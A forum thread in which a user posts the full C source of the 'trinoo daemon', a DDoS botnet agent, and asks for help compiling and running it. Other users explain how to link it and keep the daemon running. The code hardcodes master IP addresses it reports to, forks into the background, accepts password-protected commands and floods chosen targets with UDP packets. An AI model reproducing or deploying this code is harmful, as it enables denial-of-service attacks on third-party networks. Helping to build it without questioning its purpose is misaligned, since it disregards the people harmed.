I have tried to execute the below ns.c program in RHEL 4 by using the command

#gcc -c ns.c -o ns.o

i am not getting any errors but while i am running object file by using the command

#./ns.o

i am getting the below error

bash : ./ns.o cannot execute binary file

........................ns.c program.....................................


/* trinoo daemon */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>

/* ----------------- strfix.h ----------------- */
#ifdef __GNUC__
#define strcpy(dst, src) \
({ \
char *_out = (dst); \
if (sizeof(dst) <= sizeof(char *)) \
_out = strcpy(_out, (src)); \
else { \
*_out = 0; \
_out = strncat(_out, (src), sizeof(dst) - 1); \
} \
_out; \
})
#define strcat(dst, src) \
({ \
char *_out = (dst); \
if (sizeof(dst) <= sizeof(char *)) \
_out = strcat(_out, (src)); \
else { \
size_t _size = sizeof(dst) - strlen(_out) - 1; \
if (_size > 0) _out = strncat(_out, (src), _size); \
} \
_out; \
})
#endif
/* ----------------- END of strfix.h ----------------- */


/* #define PROCNAME "httpd" */
char *master[] = {
"129.237.122.40",
"207.228.116.19",
"209.74.175.130",
NULL
};

#define DEFSIZE 1000

int main(int argc, char *argv[])
{
int sock, fromlen, numread, i, sock2, bewm, timerz=120, hoe, foke;
struct sockaddr_in sa, from, to;
struct hostent *he;
char buf[1024];
char arg1[4], *arg2, pass[10], *temp, *unf;
void *buf2;
int start, end, stop=0,ablespoof=0;
#ifdef PROCNAME
for (bewm = argc-1; bewm >= 0; bewm--)
memset(argv[bewm], 0, strlen(argv[bewm]));
strcpy(argv[0], PROCNAME);
#endif
buf2 = (void*)malloc(DEFSIZE);

if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
perror("socket");
exit(-1);
}

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(27444);
to.sin_family = AF_INET;

if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind");
exit(-1);
}
hello();
foke = fork();
if (foke > 0) {
hoe = setpgid(foke, foke);
exit(0);
}
if (foke == -1) exit(-1);
while (1) {
bzero(arg1, 1024);
bzero(buf, 1024);
fromlen=sizeof(from);
if ((numread = recvfrom(sock, buf, 1024, 0, (struct sockaddr *)&from, &fromlen)) < 0) {
perror("recvfrom");
continue;
}
if (strstr("l44", buf)==0) {
arg2 = malloc(sizeof(buf));
sscanf(buf, "%s %s %s", arg1, pass, arg2);
if (strcmp((char *)crypt(pass, "aI"), "aIf3YWfOhw.V.")==0) {
if(strcmp(arg1, "aaa")==0) {
to.sin_addr.s_addr = inet_addr(arg2);
start = time(NULL);
end = start + timerz;
stop = 0;
if((sock2 = getsock()) != -1)
while (!stop) {
to.sin_port = htons(rand()%65534);
sendto(sock2,buf2,sizeof(buf2), 0,(struct sockaddr*)(&to),sizeof(to));
if (time(NULL) > end) { close(sock2); stop = 1; }
}
stop=0;
}
if(strcmp(arg1, "bbb")==0)
if (atoi(arg2) > 1000)
timerz = 500;
else
timerz = atoi(arg2);
if(strcmp(arg1, "shi")==0) hello();
if(strcmp(arg1, "png")==0) sendudp((char *)inet_ntoa(from.sin_addr),"PONG",31335);
if(strcmp(arg1, "d1e")==0) exit(1);
if(strcmp(arg1, "rsz")==0) {
free(buf2);
buf2 = malloc(atoi(arg2));
bzero(buf2,sizeof(buf2));
}
if(strcmp(arg1, "xyz")==0) {
start = time(NULL);
end = start + timerz;
unf = malloc(sizeof(arg2));
if((sock2 = getsock()) != -1)
while (!stop) {
bzero(unf, sizeof(unf));
strcat(unf,arg2);
temp=strtok(unf,":");
while((temp = strtok(NULL,":"))!=NULL) {
printf("%s\n",temp);
to.sin_addr.s_addr = inet_addr(temp);
to.sin_port = htons(rand()%65534);
if (!stop)
sendto(sock2, buf2, sizeof(buf2), 0, (struct sockaddr*)(&to), sizeof(to));
if (time(NULL) > end) {
close(sock2);
stop = 1;
}
}
}
free(unf);
stop=0;
}
free(arg2);
}
}
}
}

int sendudp(char *host, char *data,int port)
{
int unf;
struct sockaddr_in out;

out.sin_family = AF_INET;
out.sin_addr.s_addr = inet_addr(host);
out.sin_port = htons(31335);

if ((unf = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return -1;
sendto(unf,data,strlen(data),0,(struct sockaddr*)&out,sizeof(out));
return 1;
}

int hello()
{
int i=0;
while (master[i] != NULL) { sendudp(master[i], "*HELLO*", 31335); i++; }
}

int getsock()
{
int i;
if ((i = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) != -1)
return i;
else
return -1;
}

Please help me with solution....thanks

A dot-o file is the output of the compiler that must be linked with system libraries to be executable (an executable program will not have a file extension; i.e., no such thing as dot-exe or similar in Linux).

Rather than compiling as you did (gcc -c ns.c -o ns.o) try
You can, if you are compiling a program (no functions in separate files) use the make utility
However, your program as is returns
which indicates that it must be linked with libcrypt and you should compile it
Hope this helps some.

Thanks for giving reply. It has worked. But after compiling how to run the program...

At a command prompt (in a console window) simply enter the name and hit the carriage return key. Note that if you repeat this there will be another copy of the program running for each time you do this.

Your program is a daemon program; i.e., it will continue to run until the system is rebooted or you kill the running process with the kill utility. You can see if it's running with the ps utility
which will display something like
The first number (in this example, 10232) is the process identification number or PID and you can kill that with

Don't forget the ./.

soni_silver17: just type once ns is compiled.